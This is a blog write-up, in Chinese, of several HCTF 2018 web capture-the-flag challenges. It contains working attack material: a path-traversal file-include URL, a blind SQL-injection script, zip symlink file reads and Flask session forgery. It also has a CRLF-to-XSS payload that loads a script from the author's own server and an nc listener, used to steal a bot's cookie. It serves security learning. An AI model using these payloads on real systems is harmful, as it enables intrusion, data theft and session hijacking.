HCTF2018-web writeup

  1. 前言
  2. warmup
  3. kzone
  4. hide and seek
  5. admin
  6. bottle
  7. game

前言

只做出两道惭愧,复现学一下。

warmup

1541944707375

1541944804344

右键源码提示存在source.php

点进去查看源码

<?php
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

hint点进去知道flag在 ffffllllaaaagggg1541944745955

出现问题的代码:

$_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

如果让source.php%253f/../../../../../../../ffffllllaaaagggg。其中source.php是whitelist里面的文件 ,253f是?的双重urlencode.php会自动进行一次urldecode,php会将source.php%253f/当成一个目录,所以需要多加一个../来包含我们可控的文件。

http://warmup.2018.hctf.io/index.php?file=source.php%253f/../../../../../../../ffffllllaaaagggg

hctf{e8a73a09cfdd1c9a11cca29b2bf9796f}

参考文章:

https://ginove.github.io/2018/07/24/getshell%E6%8A%80%E5%B7%A7%E8%AF%A6%E8%A7%A3-phpMyAdmin%E5%88%A9%E7%94%A8%E4%B9%8B%E6%B3%95/#3-phpMyAdmin-4-8-1-getshell-%E5%AE%9E%E6%88%98

kzone

www.zip泄露

审计

在member.php有cookie注入,而且每个页面都包含了member.php

if (isset($_COOKIE["islogin"])) {
    if ($_COOKIE["login_data"]) {
        $login_data = json_decode($_COOKIE['login_data'], true);
        $admin_user = $login_data['admin_user'];
        $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");

直接从$_COOKIE中取的数据,并且直接拼接到了SQL语句中

$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");

通过json_decode+php弱类型可以绕过登录鉴权admin,然后以这个来做标记来bool注入

#coding:utf-8
import requests

url = "http://kzone.2018.hctf.io/admin/list.php"
cookies = {
    "_ga": "GA1.2.1556483061.1541786955",
    "_gid": "GA1.2.140952073.1541786955",
    "PHPSESSID": "72m84deran77afu36is1dbi3k7",
    "islogin": "1"
}
#payload1 = '''{{"admin_user":"admin'and(select(locate('{}{}',(select(group_concat(database_name))from(mysql.innodb_table_stats)))))and'1","admin_pass":65}}'''
#payload2 = '''{{"admin_user":"admin'and(select(locate('{}{}',(select(group_concat(database_name))from(mysql.innodb_table_stats)))^1))and'1","admin_pass":65}}'''
#payload1 = '''{{"admin_user":"admin'and(select(locate('{}{}',(select(group_concat(table_name))from(mysql.innodb_table_stats)))))and'1","admin_pass":65}}'''
#payload2 = '''{{"admin_user":"admin'and(select(locate('{}{}',(select(group_concat(table_name))from(mysql.innodb_table_stats)))^1))and'1","admin_pass":65}}'''
payload1 = '''{{"admin_user":"admin'and(select(locate('{}{}',(select(f1a9)from(F1444g)))))and'1","admin_pass":65}}''' #字段名是试出来的
payload2 = '''{{"admin_user":"admin'and(select(locate('{}{}',(select(f1a9)from(F1444g)))^1))and'1","admin_pass":65}}'''
get = ""

for i in xrange(50):
    for j in xrange(32, 127):
        data = payload1.format(get, chr(j))
        cookies["login_data"] = data
        r = requests.get(url, cookies = cookies)
        if "Fish" in r.content:
            data = payload2.format(get, chr(j))
            cookies["login_data"] = data
            r = requests.get(url, cookies = cookies)
            if "Fish" not in r.content:
                get += chr(j)
                print get
                break

hctf{4526a8cbd741b3f790f95ad32c2514b9}

https://www.anquanke.com/post/id/163958#h2-0

hide and seek

走了很多弯路 上传js会解析 可以xss 但没有作用

后来发现文章https://xz.aliyun.com/t/2589

用zip 压缩软连接读环境变量

ln -s /etc/profile profile
zip -y profile.zip profile

/proc/self/environ,能读到uwsgi配置文件

UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi
SUPERVISOR_GROUP_NAME=uwsgi
HOSTNAME=7d8beb1a9aa4SHLVL=0
PYTHON_PIP_VERSION=18.1
HOME=/root
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
NGINX_MAX_UPLOAD=0
UWSGI_PROCESSES=16
STATIC_URL=/static
UWSGI_CHEAPER=2
NGINX_VERSION=1.13.12-1~stretch
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NJS_VERSION=1.13.12.0.2.0-1~stretch
LANG=C.UTF-8SUPERVISOR_ENABLED=1
PYTHON_VERSION=3.6.6
NGINX_WORKER_PROCESSES=auto
SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock
SUPERVISOR_PROCESS_NAME=uwsgi
LISTEN_PORT=80
STATIC_INDEX=0
PWD=/app/hard_t0_guess_n9f5a95b5ku9fg
STATIC_PATH=/app/static
PYTHONPATH=/app
UWSGI_RELOADS=0

当前进程的工作目录在/app/hard_t0_guess_n9f5a95b5ku9fg
UWSGI配置文件在/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
软连接读取配置文件

ln -s /app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini ini
zip -y ini.zip ini

module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app logto = /tmp/hard_t0_guess_n9p2i5a6d1s_uwsgi.log

发现主文件app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
接着软连接读项目源码

ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py mainpy
zip -y mainpy.zip mainpy

1542008448450

直接打开没换行。查看源码就可以换行版本 代码如下:

# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)

if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='127.0.0.1', debug=True, port=10008)

查看源码发现引用了flag.py,但是不能直接读flag.py,因为里面hctf字样的flag会被如下代码过滤掉

if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))

读了templates/index.html,发现用户名为admin的时候才会输出flag

ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/templates/index.html index

zip -y index.zip index

1542010367267

所有 要读secret,伪造admin的session

注意到

random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)

getnode()和MAC地址有关所以服务器的SECRET_KEY固定,软连接读ln -s /sys/class/net/eth0/address得到MAC12:34:3e:14:7c:62

1542011957802

算出secret key伪造脚本

random.seed(20015589129314)
print str(random.random()*100)

得到secret_key=11.935137566861131

伪造session

eyJ1c2VybmFtZSI6ImFkbWluIn0.Dskfqg.pA9vis7kXInrrctifopdPNUOQOk

1542011873105

读文件/proc/self/environ

1541901100521

UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=323a960bcc1aSHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0

admin

查看源代码泄露

1542046574284

https://github.com/woadsl1234/hctf_flask/

下载代码审计

只有登录注册修改密码,猜测题意需要登录admin才可以。

def strlower(username):
    username = nodeprep.prepare(username)
    return username

题目的要点是成为 admin,然后看到题目提供了修改 password 的操作,而且用来检查的 name 是用户可控的。

谷歌strlower函数,这个函数在处理unicode字符时有一些问题,例如\u1d35即ᴵ,经过这个函数会变成大写字母I,然后再调用一下就会变成小写字母i,所以思路就明显了。

http://blog.lnyas.xyz/?p=1411和题目非常类似,

注册一个ᴬᴰᴹᴵᴺ然后修改密码,就可以用admin登录了。

1542045086966

hctf{un1c0dE_cHe4t_1s_FuNnying}

bottle

登陆抓包发现有一个path路由存在302跳转

1542095165476

发现存在CRLF注入,

GET /path?path=http://bottle.2018.hctf.io/user%0d%0a%0d%0a<html>Mang0</html>

1542095592837

需要绕过302跳转就可以打到cookie。因为302的时候不会xss。利用<80端口可以绕过302跳转.。参考用p师傅的方法:https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html

直接绕过CSP,user路径输入url,bot会去访问会去访问
因为CRLF,可以控制返回回来的信息,可以造成XSS
然后根据柠檬师傅的文章发现,0,21,22等端口可以绕过302跳转执行js
然后user里面输入

http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:20/%0d%0aContent-Length:%2065%0d%0a%0d%0a%3Cscript%20src=http://vps/myjs/hctfcookie.js%3E%3C/script%3E

得到bot session
替换登陆getflag
hctf{26372420de8d5c94f8fb007c4389841f}

方法二:

http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:21/%0d%0a%0d%0ascript%20src%3dhttp://vps:2333

nc -lvvv 2333

另外附搭建xss平台:https://blog.csdn.net/itest_2016/article/details/77650356

game

题目的要求是登录到id=1,用户名为admin的用户后访问/web2/flag.php。

http://game.2018.hctf.io/web2/user.php?order=password可以根据密码进行排序 我们可以不断注册新用户,密码逐位与admin的密码比较,最最终比较出来admin密码

注册一个密码为d的用户

1542077753170

然后按密码排序,发现它在admin下面

然后注册一个密码为e的用户,发现他在admin上面

由此可以推算出admin密码第一位是d,按照此原理,逐位得到完整的admin密码为dsa8&&!@#$%^&d1ngy1as3dja,登录访问flag.php即可getflag。

1542078024341

hctf{this_idea_h1t_me_whil3_I_am_W3rking}


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 951207194@qq.com

文章标题:HCTF2018-web writeup

文章字数:2,011

本文作者:Mang0

发布时间:2018-11-13, 13:26:20

最后更新:2018-11-14, 13:30:24

原始链接:http://mang0.me/archis/4341f801/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏